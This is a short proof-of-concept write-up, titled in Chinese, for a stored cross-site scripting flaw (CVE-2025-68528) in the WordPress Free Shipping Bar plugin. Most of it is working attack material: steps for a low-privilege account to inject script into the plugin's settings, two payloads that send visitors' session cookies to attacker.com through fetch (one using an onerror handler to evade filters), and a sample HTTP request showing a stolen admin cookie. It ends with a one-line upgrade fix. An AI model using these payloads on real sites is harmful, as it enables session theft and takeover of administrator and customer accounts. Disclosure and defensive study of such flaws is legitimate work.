CVE-2025-68528 WordPress Free Shipping Bar插件存储型XSS漏洞

// CVE-2025-68528 Stored XSS PoC // Target: WordPress with Free Shipping Bar plugin <= 2.4.9 // Step 1: Login to WordPress with low privilege account (e.g., subscriber) // Step 2: Navigate to WooCommerce > Free Shipping Bar settings // Step 3: Inject XSS payload in any text field (e.g., message text, amount field) // Example payload injection via plugin settings: // In "Message text" or "Amount" field, enter: const xssPayload = `<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>`; // Alternative payload using event handler (bypasses some filters): const altPayload = `<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">`; // When admin or customer visits the page with shipping bar: // - The payload is loaded from database // - Browser executes the injected JavaScript // - Session cookies are sent to attacker-controlled server // HTTP request example showing cookie theft: /* GET / HTTP/1.1 Host: target.com Cookie: wordpress_logged_in_xxx=stolen_session_cookie GET /steal?cookie=wordpress_logged_in_xxx=stolen_session_cookie HTTP/1.1 Host: attacker.com */ // Remediation: Upgrade to version 2.5.0 or later